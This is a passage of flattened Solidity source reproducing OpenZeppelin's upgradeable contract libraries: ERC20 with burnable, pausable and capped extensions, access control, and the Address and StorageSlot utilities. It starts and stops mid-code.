transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( _initializing || !_initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer {} /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require( currentAllowance >= amount, "ERC20: burn amount exceeds allowance" ); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged( bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole ); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer {} /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer {} struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require( account == _msgSender(), "AccessControl: can only renounce roles for self" ); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20CappedUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20CappedUpgradeable is Initializable, ERC20Upgradeable { uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ function __ERC20Capped_init(uint256 cap_) internal initializer { __Context_init_unchained(); __ERC20Capped_init_unchained(cap_); } function __ERC20Capped_init_unchained(uint256 cap_) internal initializer { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_mint}. */ function _mint(address account, uint256 amount) internal virtual override { require( ERC20Upgradeable.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded" ); super._mint(account, amount); } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/proxy/beacon/IBeaconUpgradeable.sol pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File: @openzeppelin/contracts-upgradeable/proxy/ERC1967/ERC1967UpgradeUpgradeable.sol pragma solidity ^0.8.2; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer {} // This is the 